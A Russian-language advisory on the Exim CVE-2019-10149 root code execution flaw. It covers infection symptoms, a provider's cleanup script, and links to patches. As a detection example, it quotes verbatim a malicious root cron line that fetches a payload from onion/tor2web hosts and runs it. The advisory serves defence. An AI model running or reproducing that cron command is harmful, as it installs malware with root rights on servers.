Exim (v4) — это агент пересылки почты. exim4-config предоставляет инфраструктуру конфигурации для служб exim4. Она была вынесена в отдельный пакет для упрощения замены конфигурационной схемы собственной (без изменения файлов относящихся к основным пакетам exim4).
В случае серверов, которым требуется специальная конфигурация (например, есть много машин с одинаковыми настройками), можно использовать этот пакет для распространения изменённых конфигураций через систему пакетов с помощью механизма dpkg — conffile, которая позволяет избежать внесения дополнительных изменений на каждой машине.
Выявлена критическая уязвимость в почтовом сервере Exim, которая позволяет выполнить код на сервере с правами root.
Данная уязвимость (CVE-2019-10149) может привести к выполнению кода на сервере с правами root, который осуществляется во время обработки специального запроса. Ошибка была найдена в версиях Exim 4.87 до 4.91 (включительно). Неправильная проверка адреса получателя в функции
delivery_message () в /src/deliver.c
может привести к удаленному выполнению команды.
Узнайте больше о CVE-2019-10149 из словаря MITER CVE и NIST NVD . Эксплуатация данной угрозы возможна в версиях с 4.87 по 4.91 включительно или при сборке с опцией EXPERIMENTAL_EVENT.
Для исправления прошлых версий, применяющихся в дистрибутивах, можно использовать патч, доступный по ссылке на сайт git.exim.org
Exim широко распространен. На момент публикации результаты поиска Shodan показали, что более 4,1 миллиона систем используют версии Exim, которые считаются уязвимыми (4.87-4.91), а 475 591 — последняя исправленная версия (4.92). Другими словами, почти 90% систем с Exim уязвимы для локальной эксплуатации и потенциально для удаленной эксплуатации в зависимости от конфигурации.
Как понять, что сервер взломан?
Проверьте запущенные процессы командой top.
На заражённых серверах наблюдается 100%-я нагрузка, создаваемая процессом [kthrotlds]. Также в планировщике cron добавляется задание с ограничением прав на редактирование.
Секция предупреждений
Все встреченные нами инциденты заражения были абсолютно однотипными, вторая и третья волна могут от них отличаться — для них возможно придется модифицировать скрипт. На момент заражения задания в cron утрачиваются безвозвратно и возвращать их надо руками. Скрипт «рубит с плеча» — безбоязненно обновляет Exim до патченных версий, в случае с Centos 6 даже из тестового репозитория. Инстанс зловреда сидит в памяти, поэтому сервер обязательно нужно перезагружать сразу после чистки кронов.
Важно: уязвимость позволяет исполнять код из под root’а, что не дает никаких гарантий стопроцентного исцеления. Имея рутовый доступ к серверу, можно запрятать на этот сервер почти что угодно, так, что найти его будет почти не возможно. Гарантированно полностью вылечить сервер можно только полной переустановкой, однако она далеко не всегда возможна. Если возможности переустановить сервер нет, а симптомы совпадают с описанными — можно попробовать быстро заделать дыры этим скриптом.
Используя скрипт, вы делаете это на свой страх и риск: мы протестировали скрипт на ряде серверов, однако всегда существуют риски несовместимости версий программного обеспечения или конфликта настроек.
Также наш скрипт позволяет вылечить лишь одну из возможных реализаций заражения — не исключено, что уже сейчас есть другие способы эксплуатации уязвимости, которые в наше поле зрения не попали.
2. Проверяет наличие заражения на сервере.
Скрипт анализирует задания планировщика на наличие подозрительных включений. Например, таких:
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp
- останавливает cron
- убивает процесс, запущенный вирусным скриптом
- четыре раза убивает процессы curl wget sh (запускаются вирусом по расписанию)
- чистит почтовую очередь от всех писем (заражённые письма трудно отделить от безвредных, поэтому приходится удалять всю очередь)
- разрешает удаление файлов, где размещены фрагменты вредоносного скрипта:
/etc/cron.daily/cronlog
/etc/cron.d/root
/etc/cron.d/.cronbus
/etc/cron.hourly/cronlog
/etc/cron.monthly/cronlog
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/root
/etc/crontab
/root/.cache/
/root/.cache/a
/usr/local/bin/nptd
/root/.cache/.kswapd
/usr/bin/\[kthrotlds\]
/root/.ssh/authorized_keys
/.cache/*
/.cache/.sysud
/.cache/.a
/.cache/.favicon.ico
/.cache/.kswapd
/.cache/.ntp
2б. Если следов заражения нет, скрипт завершает работу.
Уточнения
Все задания планировщика cron вирус удаляет. Поэтому после перезагрузки сервера требуется их повторная настройка или восстановление из резервной копии.
curl также заражается вирусом, поэтому он переустанавливается.
Перезагрузка (скрипт выполняет её автоматически после лечения) обязательна — иначе вредонос сохраняется в памяти сервера и самовоспроизводится каждые 30 секунд даже после удаления заражённых файлов.
Как пользоваться
Перед запуском убедитесь, что у вас на руках есть актуальная резервная копия данных сервера.
Для запуска скрипта:
Подключитесь к серверу по ssh под пользователем с правами root. Также можно использовать Shell-клиент в панели ISPmanager — Инструменты.
В терминале введите команду:
wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh
Ожидайте завершения выполнения скрипта и перезагрузки сервера.
После перезагрузки проверьте работу сервера и сайтов/приложений, размещённых на нём, перенастройте или восстановите из бэкапа задачи в cron.
Обновление до безопасной версии
Обновления для пакетов, поставляющих версию 4.92, в которой не проявляется данная проблема, можно найти по ссылкам:
Для Debian: https://security-tracker.debian.org/tracker/CVE-2019-10149
Для Ubuntu: https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-10149.html
Для OpenSUSE: https://bugzilla.novell.com/show_bug.cgi?id=CVE-2019-10149
Для Arch Linux: https://www.archlinux.org/packages/community/x86_64/exim/
Для Fedora: https://bodhi.fedoraproject.org/updates/FEDORA-2019-7b741dcaa4
Данный почтовый сервер является самым распространённым, поэтому, скорее всего, он установлен в вашей системе. На данный момент уже появились вирусы, которые эксплуатируют уязвимость. Советуем осуществить проверку на наличие Exim, а также принять меры по защите от данной уязвимости.
Некоторую информацию о CVE-2019-10149 в дистрибутивах Linux можно найти здесь:
Отслеживание безопасности Debian: CVE-2019-10149
База данных Red Hat CVE: CVE-2019-10149
Ubuntu CVE Tracker: CVE-2019-10149
Gentoo Bugzilla: CVE-2019-10149
Центр безопасности Amazon Linux: ALAS-2019-1221
Источник: Habr